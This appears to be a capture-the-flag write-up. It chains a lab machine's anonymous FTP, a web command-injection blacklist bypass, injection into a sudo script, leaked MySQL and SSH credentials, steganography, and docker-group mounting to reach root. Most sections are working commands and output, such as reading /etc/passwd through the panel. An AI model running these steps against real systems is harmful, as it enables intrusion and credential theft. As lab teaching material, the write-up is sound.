Overview
Full compromise chained through: anonymous FTP intel → web command injection with blacklist bypass → sudo misconfiguration (www-data → apaar) → MySQL credential extraction → steganography (backup.zip hidden in JPEG) → base64-encoded SSH password → Docker group privilege escalation to root. Four lateral moves, three users, one clean chain.
Anonymous FTP → note.txt hints at command filtering
↓
Web /secret/ POST command= → www-data RCE (blacklist bypass)
↓
sudo -u apaar .helpline.sh → command injection via $msg
↓
user flag: {USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}
↓
/var/www/files/index.php → MySQL root creds → MD5 hashes
↓
steghide JPEG → backup.zip (pass1word) → base64 password
↓
SSH as anurodh (docker group)
↓
docker run -v /:/host alpine → root flag
↓
root flag: {ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
Port Scan & Service Discovery
$ nmap -sV -sC -T4 -p- --min-rate 3000 -Pn 10.48.138.143
| Port | Service | Version | Notes |
|---|---|---|---|
21/tcp | FTP | vsftpd 3.0.5 | Anonymous login allowed |
22/tcp | SSH | OpenSSH 8.2p1 | Final access vector |
80/tcp | HTTP | Apache 2.4.41 | Command execution panel at /secret/ |
FTP — Anonymous Access
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
Key intel: a command execution panel exists with string-based filtering.
Two usernames leaked: Anurodh and Apaar.
Command Injection — Blacklist Bypass
Directory brute-force reveals /secret/ — a POST-based command execution
form. Reading the PHP source exposes the blacklist:
$blacklist = array('nc','python','bash','php','perl','rm','cat',
'head','tail','python3','more','less','sh','ls');
The filter splits by spaces and checks each word. Bypass by using full binary paths:
| Blocked | Bypass |
|---|---|
ls | /bin/ls or l$@s |
cat | /bin/cat |
python3 | /usr/bin/python3 |
bash | /bin/bash |
$ curl -X POST http://10.48.138.143/secret/ --data 'command=/bin/cat+/etc/passwd' → Returns /etc/passwd as www-data
www-data → apaar — .helpline.sh Injection
$ sudo -l (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
The script reads user input into $msg and executes it directly:
read -p "Enter the person..." person
read -p "Hello user! I am $person, Please enter your message: " msg
$msg 2>/dev/null # ← direct command execution
$ printf "x /bin/cp /home/apaar/local.txt /tmp/uf.txt " | sudo -u apaar /home/apaar/.helpline.sh $ printf "x /bin/chmod 777 /tmp/uf.txt " | sudo -u apaar /home/apaar/.helpline.sh $ /bin/cat /tmp/uf.txt {USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}
MySQL → Stego → SSH as anurodh
Phase 1 — MySQL credentials in web source:
$con = new PDO("mysql:dbname=webportal;host=localhost",
"root", "!@m+her00+@db");
$ mysql -u root -p"!@m+her00+@db" webportal -e "SELECT * FROM users;" id username password (MD5) 1 Aurick 7e53614ced3640d5de23f111806cc4fd → masterpassword 2 cullapaar 686216240e5af30df0501e53c789a649 → dontaskdonttell
Phase 2 — Steganography → backup.zip:
$ steghide extract -sf hacker-with-laptop_23-2147985341.jpg -p "" wrote extracted data to "backup.zip" $ zip2john backup.zip > zip.hash $ john zip.hash --wordlist=rockyou.txt pass1word (backup.zip) $ unzip -P pass1word backup.zip
Phase 3 — Base64 password in source_code.php:
$ echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d !d0ntKn0wmYp@ssw0rd $ ssh anurodh@10.48.138.143 Password: !d0ntKn0wmYp@ssw0rd uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
The docker group membership is the key to root.
Docker Group → Root
Docker group membership is equivalent to root. Mount the host filesystem into a container and read anything:
$ docker images alpine latest a24bb4013296 5 years ago 5.57MB $ docker run --rm -v /:/host alpine /bin/sh -c "cat /host/root/proof.txt" {ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
Attack Chain
note.txt → confirms command filtering, leaks usernames/secret/ POST form — blacklist bypassed with full binary paths$msg executed directly → User flaganurodh:!d0ntKn0wmYp@ssw0rddocker run -v /:/host alpine → Root flagCredentials Recovered
| User | Password | Source |
|---|---|---|
| MySQL root | !@m+her00+@db | /var/www/files/index.php |
| Aurick (DB) | masterpassword | MySQL MD5 cracked |
| cullapaar (DB) | dontaskdonttell | MySQL MD5 cracked |
| anurodh (SSH) | !d0ntKn0wmYp@ssw0rd | backup.zip → source_code.php base64 |
Vulnerabilities
| Finding | Location | Severity | Impact |
|---|---|---|---|
| Docker group membership | anurodh user groups | Critical | Full host root via filesystem mount |
| OS command injection (blacklist bypass) | /secret/ web form |
Critical | RCE as www-data via full binary paths |
| Unsafe script execution via sudo | .helpline.sh |
Critical | Arbitrary command exec as apaar |
| Hardcoded MySQL root password | /var/www/files/index.php | High | Full database access, credential dump |
| Weak MD5 password hashes | MySQL webportal.users | High | Cracked in seconds with rockyou |
| Credentials in steganography + base64 | JPEG → ZIP → PHP source | High | SSH password recovered via trivial extraction |
| Anonymous FTP with sensitive files | FTP (21) | Medium | Username disclosure, operational intel |
Takeaways
$msg are
trivial command injection vectors. Never execute unsanitized variables.
Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ftp | Anonymous FTP file retrieval |
gobuster | Web directory brute-force |
curl | Command injection via POST requests |
mysql | Database enumeration and credential dump |
john | MD5 hash and ZIP password cracking |
steghide | JPEG steganography extraction |
docker | Privilege escalation via host mount |